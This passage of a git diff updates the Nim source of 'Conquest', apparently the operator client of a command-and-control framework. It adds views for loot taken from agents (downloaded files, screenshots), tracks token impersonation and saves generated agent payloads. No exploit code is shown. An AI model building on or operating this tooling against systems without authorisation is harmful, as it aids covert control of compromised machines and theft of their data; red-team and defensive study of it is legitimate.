eventType: CLIENT_AGENT_REMOVE,
|
||||||
|
timestamp: now().toTime().toUnix(),
|
||||||
|
data: %*{
|
||||||
|
"agentId": agentId
|
||||||
|
}
|
||||||
|
)
|
||||||
|
connection.ws.sendEvent(event, connection.sessionKey)
|
||||||
|
|
||||||
|
proc sendRemoveLoot*(connection: WsConnection, lootId: string) =
|
||||||
|
let event = Event(
|
||||||
|
eventType: CLIENT_LOOT_REMOVE,
|
||||||
|
timestamp: now().toTime().toUnix(),
|
||||||
|
data: %*{
|
||||||
|
"lootId": lootId
|
||||||
|
}
|
||||||
|
)
|
||||||
|
connection.ws.sendEvent(event, connection.sessionKey)
|
||||||
|
|
||||||
|
proc sendGetLoot*(connection: WsConnection, lootId: string) =
|
||||||
|
let event = Event(
|
||||||
|
eventType: CLIENT_LOOT_GET,
|
||||||
|
timestamp: now().toTime().toUnix(),
|
||||||
|
data: %*{
|
||||||
|
"lootId": lootId
|
||||||
|
}
|
||||||
|
)
|
||||||
|
connection.ws.sendEvent(event, connection.sessionKey)
|
||||||
|
|
||||||
@@ -1,17 +1,19 @@
|
|||||||
import whisky
|
import whisky
|
||||||
import tables, strutils, strformat, json, parsetoml, base64, os # native_dialogs
|
import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs
|
||||||
import ./utils/[appImGui, globals]
|
import ./utils/[appImGui, globals]
|
||||||
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
import ./views/[dockspace, sessions, listeners, eventlog, console]
|
||||||
|
import ./views/loot/[screenshots, downloads]
|
||||||
import ./views/modals/generatePayload
|
import ./views/modals/generatePayload
|
||||||
import ../common/[types, utils, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
import ./websocket
|
import ./core/websocket
|
||||||
|
|
||||||
import sugar
|
|
||||||
|
|
||||||
proc main(ip: string = "localhost", port: int = 37573) =
|
proc main(ip: string = "localhost", port: int = 37573) =
|
||||||
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
|
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
|
||||||
defer: app.destroyApp()
|
defer: app.destroyApp()
|
||||||
|
|
||||||
|
var imPlotContext = ImPlot_CreateContext()
|
||||||
|
defer: imPlotContext.ImPlotDestroyContext()
|
||||||
|
|
||||||
var
|
var
|
||||||
profile: Profile
|
profile: Profile
|
||||||
views: Table[string, ptr bool]
|
views: Table[string, ptr bool]
|
||||||
@@ -19,6 +21,8 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
showSessionsTable = true
|
showSessionsTable = true
|
||||||
showListeners = true
|
showListeners = true
|
||||||
showEventlog = true
|
showEventlog = true
|
||||||
|
showDownloads = false
|
||||||
|
showScreenshots = false
|
||||||
consoles: Table[string, ConsoleComponent]
|
consoles: Table[string, ConsoleComponent]
|
||||||
|
|
||||||
var
|
var
|
||||||
@@ -30,18 +34,22 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
views["Sessions [Table View]"] = addr showSessionsTable
|
views["Sessions [Table View]"] = addr showSessionsTable
|
||||||
views["Listeners"] = addr showListeners
|
views["Listeners"] = addr showListeners
|
||||||
views["Eventlog"] = addr showEventlog
|
views["Eventlog"] = addr showEventlog
|
||||||
|
views["Loot:Downloads"] = addr showDownloads
|
||||||
|
views["Loot:Screenshots"] = addr showScreenshots
|
||||||
|
|
||||||
# Create components
|
# Create components
|
||||||
var
|
var
|
||||||
dockspace = Dockspace()
|
dockspace = Dockspace()
|
||||||
sessionsTable = SessionsTable("Sessions [Table View]", addr consoles)
|
sessionsTable = SessionsTable(WIDGET_SESSIONS, addr consoles)
|
||||||
listenersTable = ListenersTable("Listeners")
|
listenersTable = ListenersTable(WIDGET_LISTENERS)
|
||||||
eventlog = Eventlog("Eventlog")
|
eventlog = Eventlog(WIDGET_EVENTLOG)
|
||||||
|
lootDownloads = LootDownloads(WIDGET_DOWNLOADS)
|
||||||
|
lootScreenshots = LootScreenshots(WIDGET_SCREENSHOTS)
|
||||||
|
|
||||||
let io = igGetIO()
|
let io = igGetIO()
|
||||||
|
|
||||||
# Create key pair
|
# Create key pair
|
||||||
let clientKeyPair = generateKeyPair()
|
var clientKeyPair = generateKeyPair()
|
||||||
|
|
||||||
# Initiate WebSocket connection
|
# Initiate WebSocket connection
|
||||||
var connection = WsConnection(
|
var connection = WsConnection(
|
||||||
@@ -69,103 +77,138 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
connection.ws.sendHeartbeat()
|
connection.ws.sendHeartbeat()
|
||||||
|
|
||||||
# Receive and parse websocket response message
|
# Receive and parse websocket response message
|
||||||
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
|
try:
|
||||||
case event.eventType:
|
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
|
||||||
of CLIENT_KEY_EXCHANGE:
|
case event.eventType:
|
||||||
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
of CLIENT_KEY_EXCHANGE:
|
||||||
connection.sendPublicKey(clientKeyPair.publicKey)
|
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
||||||
|
connection.sendPublicKey(clientKeyPair.publicKey)
|
||||||
|
wipeKey(clientKeyPair.privateKey)
|
||||||
|
|
||||||
of CLIENT_PROFILE:
|
of CLIENT_PROFILE:
|
||||||
profile = parsetoml.parseString(event.data["profile"].getStr())
|
profile = parsetoml.parseString(event.data["profile"].getStr())
|
||||||
|
|
||||||
of CLIENT_LISTENER_ADD:
|
|
||||||
let listener = event.data.to(UIListener)
|
|
||||||
listenersTable.listeners.add(listener)
|
|
||||||
|
|
||||||
of CLIENT_AGENT_ADD:
|
|
||||||
let agent = event.data.to(UIAgent)
|
|
||||||
|
|
||||||
# The ImGui Multi Select only works well with seq's, so we maintain a
|
|
||||||
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
|
|
||||||
sessionsTable.agents.add(agent)
|
|
||||||
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
|
||||||
|
|
||||||
# Initialize position of console windows to bottom by drawing them once when they are added
|
|
||||||
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
|
||||||
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
|
||||||
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
|
|
||||||
var agentConsole = Console(agent)
|
|
||||||
consoles[agent.agentId] = agentConsole
|
|
||||||
let listenersWindow = igFindWindowByName("Listeners")
|
|
||||||
if listenersWindow != nil and listenersWindow.DockNode != nil:
|
|
||||||
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
|
|
||||||
else:
|
|
||||||
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
|
||||||
consoles[agent.agentId].draw(connection)
|
|
||||||
consoles[agent.agentId].showConsole = false
|
|
||||||
|
|
||||||
of CLIENT_AGENT_CHECKIN:
|
|
||||||
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
|
||||||
|
|
||||||
of CLIENT_AGENT_PAYLOAD:
|
|
||||||
let payload = decode(event.data["payload"].getStr())
|
|
||||||
try:
|
|
||||||
let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
|
|
||||||
|
|
||||||
# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
|
|
||||||
# let outFilePath = callDialogFileSave("Save Payload")
|
|
||||||
|
|
||||||
writeFile(outFilePath, payload)
|
|
||||||
except IOError:
|
|
||||||
discard
|
|
||||||
|
|
||||||
# Close and reset the payload generation modal window when the payload was received
|
|
||||||
listenersTable.generatePayloadModal.resetModalValues()
|
|
||||||
igClosePopupToLevel(0, false)
|
|
||||||
|
|
||||||
of CLIENT_CONSOLE_ITEM:
|
|
||||||
let agentId = event.data["agentId"].getStr()
|
|
||||||
consoles[agentId].addItem(
|
|
||||||
cast[LogType](event.data["logType"].getInt()),
|
|
||||||
event.data["message"].getStr(),
|
|
||||||
event.timestamp
|
|
||||||
)
|
|
||||||
|
|
||||||
of CLIENT_EVENTLOG_ITEM:
|
|
||||||
eventlog.addItem(
|
|
||||||
cast[LogType](event.data["logType"].getInt()),
|
|
||||||
event.data["message"].getStr(),
|
|
||||||
event.timestamp
|
|
||||||
)
|
|
||||||
|
|
||||||
of CLIENT_BUILDLOG_ITEM:
|
|
||||||
listenersTable.generatePayloadModal.addBuildlogItem(
|
|
||||||
cast[LogType](event.data["logType"].getInt()),
|
|
||||||
event.data["message"].getStr(),
|
|
||||||
event.timestamp
|
|
||||||
)
|
|
||||||
|
|
||||||
else: discard
|
|
||||||
|
|
||||||
# Draw/update UI components/views
|
|
||||||
if showSessionsTable: sessionsTable.draw(addr showSessionsTable)
|
|
||||||
if showListeners: listenersTable.draw(addr showListeners, connection)
|
|
||||||
if showEventlog: eventlog.draw(addr showEventlog)
|
|
||||||
|
|
||||||
# Show console windows
|
|
||||||
var newConsoleTable: Table[string, ConsoleComponent]
|
|
||||||
for agentId, console in consoles.mpairs():
|
|
||||||
if console.showConsole:
|
|
||||||
# Ensure that new console windows are docked to the bottom panel by default
|
|
||||||
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
|
||||||
console.draw(connection)
|
|
||||||
newConsoleTable[agentId] = console
|
|
||||||
|
|
||||||
# Update the consoles table with only those sessions that have not been closed yet
|
of CLIENT_LISTENER_ADD:
|
||||||
# This is done to ensure that closed console windows can be opened again
|
let listener = event.data.to(UIListener)
|
||||||
consoles = newConsoleTable
|
listenersTable.listeners.add(listener)
|
||||||
|
|
||||||
# igShowDemoWindow(nil)
|
of CLIENT_AGENT_ADD:
|
||||||
|
let agent = event.data.to(UIAgent)
|
||||||
|
|
||||||
|
# The ImGui Multi Select only works well with seq's, so we maintain a
|
||||||
|
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
|
||||||
|
sessionsTable.agents.add(agent)
|
||||||
|
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
||||||
|
|
||||||
|
if not agent.impersonationToken.isEmptyOrWhitespace():
|
||||||
|
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
||||||
|
|
||||||
|
# Initialize position of console windows to bottom by drawing them once when they are added
|
||||||
|
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
||||||
|
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
||||||
|
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
|
||||||
|
var agentConsole = Console(agent)
|
||||||
|
consoles[agent.agentId] = agentConsole
|
||||||
|
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
|
||||||
|
if listenersWindow != nil and listenersWindow.DockNode != nil:
|
||||||
|
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
|
||||||
|
else:
|
||||||
|
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
||||||
|
consoles[agent.agentId].draw(connection)
|
||||||
|
consoles[agent.agentId].showConsole = false
|
||||||
|
|
||||||
|
of CLIENT_AGENT_CHECKIN:
|
||||||
|
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
||||||
|
|
||||||
|
of CLIENT_AGENT_PAYLOAD:
|
||||||
|
let payload = decode(event.data["payload"].getStr())
|
||||||
|
try:
|
||||||
|
let path = callDialogFileSave("Save Payload")
|
||||||
|
writeFile(path, payload)
|
||||||
|
except IOError:
|
||||||
|
discard
|
||||||
|
|
||||||
|
# Close and reset the payload generation modal window when the payload was received
|
||||||
|
listenersTable.generatePayloadModal.resetModalValues()
|
||||||
|
igClosePopupToLevel(0, false)
|
||||||
|
|
||||||
|
of CLIENT_CONSOLE_ITEM:
|
||||||
|
let agentId = event.data["agentId"].getStr()
|
||||||
|
consoles[agentId].console.addItem(
|
||||||
|
cast[LogType](event.data["logType"].getInt()),
|
||||||
|
event.data["message"].getStr(),
|
||||||
|
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
)
|
||||||
|
|
||||||
|
of CLIENT_EVENTLOG_ITEM:
|
||||||
|
eventlog.textarea.addItem(
|
||||||
|
cast[LogType](event.data["logType"].getInt()),
|
||||||
|
event.data["message"].getStr(),
|
||||||
|
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
)
|
||||||
|
|
||||||
|
of CLIENT_BUILDLOG_ITEM:
|
||||||
|
listenersTable.generatePayloadModal.buildLog.addItem(
|
||||||
|
cast[LogType](event.data["logType"].getInt()),
|
||||||
|
event.data["message"].getStr(),
|
||||||
|
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
)
|
||||||
|
|
||||||
|
of CLIENT_LOOT_ADD:
|
||||||
|
let lootItem = event.data.to(LootItem)
|
||||||
|
case lootItem.itemType:
|
||||||
|
of DOWNLOAD:
|
||||||
|
lootDownloads.items.add(lootItem)
|
||||||
|
of SCREENSHOT:
|
||||||
|
lootScreenshots.items.add(lootItem)
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
of CLIENT_LOOT_DATA:
|
||||||
|
let
|
||||||
|
lootItem = event.data["loot"].to(LootItem)
|
||||||
|
data = decode(event.data["data"].getStr())
|
||||||
|
|
||||||
|
case lootItem.itemType:
|
||||||
|
of DOWNLOAD:
|
||||||
|
lootDownloads.contents[lootItem.lootId] = data
|
||||||
|
of SCREENSHOT:
|
||||||
|
lootScreenshots.addTexture(lootItem.lootId, data)
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
of CLIENT_IMPERSONATE_TOKEN:
|
||||||
|
let
|
||||||
|
agentId = event.data["agentId"].getStr()
|
||||||
|
impersonationToken = event.data["username"].getStr()
|
||||||
|
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||||
|
|
||||||
|
of CLIENT_REVERT_TOKEN:
|
||||||
|
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||||
|
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
# Draw/update UI components/views
|
||||||
|
if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)
|
||||||
|
if showListeners: listenersTable.draw(addr showListeners, connection)
|
||||||
|
if showEventlog: eventlog.draw(addr showEventlog)
|
||||||
|
if showDownloads: lootDownloads.draw(addr showDownloads, connection)
|
||||||
|
if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection)
|
||||||
|
|
||||||
|
# Show console windows
|
||||||
|
var newConsoleTable: Table[string, ConsoleComponent]
|
||||||
|
for agentId, console in consoles.mpairs():
|
||||||
|
if console.showConsole:
|
||||||
|
# Ensure that new console windows are docked to the bottom panel by default
|
||||||
|
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
||||||
|
console.draw(connection)
|
||||||
|
newConsoleTable[agentId] = console
|
||||||
|
|
||||||
|
# Update the consoles table with only those sessions that have not been closed yet
|
||||||
|
# This is done to ensure that closed console windows can be opened again
|
||||||
|
consoles = newConsoleTable
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
echo "[-] ", err.msg
|
||||||
|
discard
|
||||||
|
|
||||||
# render
|
# render
|
||||||
app.render()
|
app.render()
|
||||||
@@ -173,5 +216,6 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
if not showConquest:
|
if not showConquest:
|
||||||
app.handle.setWindowShouldClose(true)
|
app.handle.setWindowShouldClose(true)
|
||||||
|
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
import cligen; dispatch main
|
import cligen; dispatch main
|
||||||
|
|||||||
@@ -6,8 +6,8 @@ import imguin/[cimgui, glfw_opengl, simple]
|
|||||||
export cimgui, glfw_opengl, simple
|
export cimgui, glfw_opengl, simple
|
||||||
|
|
||||||
import ./globals
|
import ./globals
|
||||||
import ./opengl/[zoomglass, loadImage]
|
import ./opengl/loadImage
|
||||||
export zoomglass, loadImage
|
export loadImage
|
||||||
import ./[saveImage, setupFonts, utils, vecs]
|
import ./[saveImage, setupFonts, utils, vecs]
|
||||||
export saveImage, setupFonts, utils, vecs
|
export saveImage, setupFonts, utils, vecs
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/cimgui
|
||||||
import ../utils/appImGui
|
import ../utils/appImGui
|
||||||
|
|
||||||
# https://rgbcolorpicker.com/0-1
|
# https://rgbcolorpicker.com/0-1
|
||||||
|
|||||||
@@ -1 +1,9 @@
|
|||||||
const CONQUEST_ROOT* {.strdefine.} = ""
|
import ../utils/fonticon/IconsFontAwesome6
|
||||||
|
|
||||||
|
const CONQUEST_ROOT* {.strdefine.} = ""
|
||||||
|
|
||||||
|
const WIDGET_SESSIONS* = " " & ICON_FA_LIST & " " & "Sessions [Table View]"
|
||||||
|
const WIDGET_LISTENERS* = " " & ICON_FA_SATELLITE_DISH & " " & "Listeners"
|
||||||
|
const WIDGET_EVENTLOG* = " " & ICON_FA_CLIPBOARD_LIST & " " & "Eventlog"
|
||||||
|
const WIDGET_DOWNLOADS* = " " & ICON_FA_DOWNLOAD & " " & "Downloads"
|
||||||
|
const WIDGET_SCREENSHOTS* = " " & ICON_FA_IMAGE & " " & "Screenshots"
|
||||||
|
|||||||
@@ -147,3 +147,52 @@ when not defined(SDL):
|
|||||||
else:
|
else:
|
||||||
echo "Not found: ",iconName
|
echo "Not found: ",iconName
|
||||||
glfw.setWindowIcon(window, 0, nil)
|
glfw.setWindowIcon(window, 0, nil)
|
||||||
|
|
||||||
|
# Load a texture from a byte sequence, as this is the data type that is received by the team server
|
||||||
|
proc loadTextureFromBytes*(imageBytes: seq[byte], textureID: var uint32): tuple[width: int, height: int] =
|
||||||
|
var width, height, channels: int
|
||||||
|
|
||||||
|
var imageLen = imageBytes.len()
|
||||||
|
|
||||||
|
# Decode image from memory
|
||||||
|
let imageData = stbi.load_from_memory(
|
||||||
|
imageBytes,
|
||||||
|
width,
|
||||||
|
height,
|
||||||
|
channels,
|
||||||
|
stbi.RGBA
|
||||||
|
)
|
||||||
|
|
||||||
|
if imageData == @[]:
|
||||||
|
raise newException(IOError, "Failed to decode image from bytes")
|
||||||
|
|
||||||
|
# Create texture if needed
|
||||||
|
if textureID == 0:
|
||||||
|
glGenTextures(1, addr textureID)
|
||||||
|
|
||||||
|
glBindTexture(GL_TEXTURE_2D, textureID)
|
||||||
|
|
||||||
|
# Setup filtering parameters
|
||||||
|
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR.GLint)
|
||||||
|
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR.GLint)
|
||||||
|
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE.GLint)
|
||||||
|
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE.GLint)
|
||||||
|
|
||||||
|
glPixelStorei(GL_UNPACK_ROW_LENGTH, 0)
|
||||||
|
|
||||||
|
# Upload texture
|
||||||
|
glTexImage2D(GL_TEXTURE_2D,
|
||||||
|
0,
|
||||||
|
GL_RGBA.GLint,
|
||||||
|
width.GLSizei,
|
||||||
|
height.GLSizei,
|
||||||
|
0,
|
||||||
|
GL_RGBA,
|
||||||
|
GL_UNSIGNED_BYTE,
|
||||||
|
addr imageData[0])
|
||||||
|
|
||||||
|
let err = glGetError().int
|
||||||
|
if err != 0:
|
||||||
|
raise newException(IOError, fmt"OpenGL Error [0x{err:X}]: glTexImage2D()")
|
||||||
|
|
||||||
|
result = (width: width, height: height)
|
||||||
|
|||||||
@@ -1,41 +0,0 @@
|
|||||||
import imguin/[cimgui,simple]
|
|
||||||
import loadImage
|
|
||||||
import ../fonticon/IconsFontAwesome6
|
|
||||||
|
|
||||||
#--------------
|
|
||||||
#--- zoomGlass
|
|
||||||
#--------------
|
|
||||||
proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false) =
|
|
||||||
# itemPosTop and itemPosEnd are absolute position in main window.
|
|
||||||
if igBeginItemTooltip():
|
|
||||||
defer: igEndTooltip()
|
|
||||||
let itemHeight = itemPosEnd.y.int - itemPosTop.y.int
|
|
||||||
let my_tex_w = itemWidth.float
|
|
||||||
let my_tex_h = itemHeight.float
|
|
||||||
let wkSize = igGetMainViewport().Worksize
|
|
||||||
if capture:
|
|
||||||
loadTextureFromBuffer(textureID # TextureID
|
|
||||||
, itemPosTop.x.int # x start pos
|
|
||||||
, wkSize.y.int - itemPosEnd.y.int # y start pos
|
|
||||||
, itemWidth ,itemHeight) # Image width and height must be 2^n.
|
|
||||||
#igText("lbp: (%.2f, %.2f)", pio.MousePos.x, pio.MousePos.y)
|
|
||||||
let pio = igGetIO()
|
|
||||||
let region_sz = 32.0f
|
|
||||||
var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f
|
|
||||||
var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f
|
|
||||||
let zoom = 4.0f
|
|
||||||
if region_x < 0.0f:
|
|
||||||
region_x = 0.0f
|
|
||||||
elif region_x > (my_tex_w - region_sz):
|
|
||||||
region_x = my_tex_w - region_sz
|
|
||||||
if region_y < 0.0f:
|
|
||||||
region_y = 0.0f
|
|
||||||
elif region_y > my_tex_h - region_sz:
|
|
||||||
region_y = my_tex_h - region_sz
|
|
||||||
let uv0 = ImVec2(x: (region_x) / my_tex_w, y: (region_y) / my_tex_h)
|
|
||||||
let uv1 = ImVec2(x: (region_x + region_sz) / my_tex_w, y: (region_y + region_sz) / my_tex_h)
|
|
||||||
let tint_col = ImVec4(x: 1.0f, y: 1.0f, z: 1.0f, w: 1.0f) #// No tint
|
|
||||||
let border_col = ImVec4(x: 0.22f, y: 0.56f, z: 0.22f, w: 1.0f) # Green
|
|
||||||
igText(ICON_FA_MAGNIFYING_GLASS & " 4 x")
|
|
||||||
let texRef = ImTextureRef(internal_TexData: nil, internal_TexID: textureID)
|
|
||||||
igImage(texRef, ImVec2(x: region_sz * zoom, y: region_sz * zoom), uv0, uv1) #, tint_col, border_col)
|
|
||||||
@@ -25,13 +25,13 @@ when defined(windows):
|
|||||||
("segoeui.ttf", "Seoge UI", 14.4),
|
("segoeui.ttf", "Seoge UI", 14.4),
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
else: # For Debian/Ubuntu/Mint
|
else: # Linux
|
||||||
const
|
const
|
||||||
fontInfo = TFontInfo(
|
fontInfo = TFontInfo(
|
||||||
osRootDir: "/",
|
osRootDir: "/",
|
||||||
fontDir: "usr/share/fonts",
|
fontDir: "usr/share/fonts",
|
||||||
fontTable: @[
|
fontTable: @[
|
||||||
("truetype/noto/NotoSansMono-Regular.ttf", "Noto Sans Mono", 20.0)
|
("truetype/noto/NotoSansMono-Regular.ttf", "Noto Sans Mono", 14.4)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -1,60 +1,33 @@
|
|||||||
import whisky
|
import strformat, strutils, sequtils
|
||||||
import strformat, strutils, times, json, tables, sequtils
|
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
import ../utils/[appImGui, colors]
|
import ../utils/[appImGui, colors]
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
import ../[task, websocket]
|
import ../core/[task, websocket]
|
||||||
|
import ./widgets/textarea
|
||||||
|
export addItem
|
||||||
|
|
||||||
const MAX_INPUT_LENGTH = 512
|
const MAX_INPUT_LENGTH = 4096 # Input needs to allow enough characters for long commands (e.g. Rubeus tickets)
|
||||||
type
|
type
|
||||||
ConsoleComponent* = ref object of RootObj
|
ConsoleComponent* = ref object of RootObj
|
||||||
agent*: UIAgent
|
agent*: UIAgent
|
||||||
showConsole*: bool
|
showConsole*: bool
|
||||||
inputBuffer: array[MAX_INPUT_LENGTH, char]
|
inputBuffer: array[MAX_INPUT_LENGTH, char]
|
||||||
console*: ConsoleItems
|
console*: TextareaWidget
|
||||||
history: seq[string]
|
history: seq[string]
|
||||||
historyPosition: int
|
historyPosition: int
|
||||||
currentInput: string
|
currentInput: string
|
||||||
textSelect: ptr TextSelect
|
|
||||||
filter: ptr ImGuiTextFilter
|
filter: ptr ImGuiTextFilter
|
||||||
|
|
||||||
#[
|
|
||||||
Helper functions for text selection
|
|
||||||
]#
|
|
||||||
proc getText(item: ConsoleItem): cstring =
|
|
||||||
if item.timestamp > 0:
|
|
||||||
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
return fmt"[{timestamp}]{$item.itemType}{item.text}".string
|
|
||||||
else:
|
|
||||||
return fmt"{$item.itemType}{item.text}".string
|
|
||||||
|
|
||||||
proc getNumLines(data: pointer): csize_t {.cdecl.} =
|
|
||||||
if data.isNil:
|
|
||||||
return 0
|
|
||||||
let console = cast[ConsoleItems](data)
|
|
||||||
return console.items.len().csize_t
|
|
||||||
|
|
||||||
proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} =
|
|
||||||
if data.isNil:
|
|
||||||
return nil
|
|
||||||
let console = cast[ConsoleItems](data)
|
|
||||||
let line = console.items[i].getText()
|
|
||||||
if not outLen.isNil:
|
|
||||||
outLen[] = line.len.csize_t
|
|
||||||
return line
|
|
||||||
|
|
||||||
proc Console*(agent: UIAgent): ConsoleComponent =
|
proc Console*(agent: UIAgent): ConsoleComponent =
|
||||||
result = new ConsoleComponent
|
result = new ConsoleComponent
|
||||||
result.agent = agent
|
result.agent = agent
|
||||||
result.showConsole = true
|
result.showConsole = true
|
||||||
zeroMem(addr result.inputBuffer[0], MAX_INPUT_LENGTH)
|
zeroMem(addr result.inputBuffer[0], MAX_INPUT_LENGTH)
|
||||||
result.console = new ConsoleItems
|
result.console = Textarea()
|
||||||
result.console.items = @[]
|
|
||||||
result.history = @[]
|
result.history = @[]
|
||||||
result.historyPosition = -1
|
result.historyPosition = -1
|
||||||
result.currentInput = ""
|
result.currentInput = ""
|
||||||
result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.console), 0)
|
|
||||||
result.filter = ImGuiTextFilter_ImGuiTextFilter("")
|
result.filter = ImGuiTextFilter_ImGuiTextFilter("")
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -108,116 +81,129 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
|
|||||||
return 0
|
return 0
|
||||||
|
|
||||||
of ImGui_InputTextFlags_CallbackCompletion.int32:
|
of ImGui_InputTextFlags_CallbackCompletion.int32:
|
||||||
# Handle Tab-autocompletion
|
# Handle Tab-autocompletion for agent commands
|
||||||
discard
|
let commands = getCommands(component.agent.modules).mapIt(it.name & " ") & @["help "]
|
||||||
|
|
||||||
|
# Get the word to complete
|
||||||
|
let inputEndPos = data.CursorPos
|
||||||
|
var inputStartPos = inputEndPos
|
||||||
|
|
||||||
|
while inputStartPos > 0:
|
||||||
|
let c = cast[ptr UncheckedArray[char]](data.Buf)[inputStartPos - 1]
|
||||||
|
if c in [' ', '\t', ',', ';']:
|
||||||
|
break
|
||||||
|
dec inputStartPos
|
||||||
|
|
||||||
|
let inputLen = inputEndPos - inputStartPos
|
||||||
|
var currentWord = newString(inputLen)
|
||||||
|
for i in 0..<inputLen:
|
||||||
|
currentWord[i] = cast[ptr UncheckedArray[char]](data.Buf)[inputStartPos + i]
|
||||||
|
|
||||||
|
# Check for matches
|
||||||
|
var matches: seq[string] = @[]
|
||||||
|
for cmd in commands:
|
||||||
|
if cmd.toLowerAscii().startsWith(currentWord.toLowerAscii()):
|
||||||
|
matches.add(cmd)
|
||||||
|
|
||||||
|
# No matching commands found
|
||||||
|
if matches.len() == 0:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
elif matches.len() == 1:
|
||||||
|
data.ImGuiInputTextCallbackData_DeleteChars(inputStartPos.cint, inputLen.cint)
|
||||||
|
data.ImGuiInputTextCallbackData_InsertChars(data.CursorPos, matches[0].cstring, nil)
|
||||||
|
|
||||||
|
# More than 1 matching command -> complete common prefix
|
||||||
|
else:
|
||||||
|
var prefixLen = inputLen
|
||||||
|
|
||||||
|
while prefixLen < matches[0].len():
|
||||||
|
let c = matches[0][prefixLen]
|
||||||
|
var allMatch = true
|
||||||
|
|
||||||
|
for i in 1 ..< matches.len():
|
||||||
|
if prefixLen >= matches[i].len() or matches[i][prefixLen] != c:
|
||||||
|
allMatch = false
|
||||||
|
break
|
||||||
|
|
||||||
|
if not allMatch:
|
||||||
|
break
|
||||||
|
|
||||||
|
inc prefixLen
|
||||||
|
|
||||||
|
if prefixLen > inputLen:
|
||||||
|
data.ImGuiInputTextCallbackData_DeleteChars(inputStartPos.cint, inputLen.cint)
|
||||||
|
data.ImGuiInputTextCallbackData_InsertChars(data.CursorPos, matches[0][0..<prefixLen].cstring, nil)
|
||||||
|
|
||||||
|
return 0
|
||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
#[
|
|
||||||
API to add new console item
|
|
||||||
]#
|
|
||||||
proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) =
|
|
||||||
|
|
||||||
for line in data.split("\n"):
|
|
||||||
component.console.items.add(ConsoleItem(
|
|
||||||
timestamp: if itemType == LOG_OUTPUT: 0 else: timestamp,
|
|
||||||
itemType: itemType,
|
|
||||||
text: line
|
|
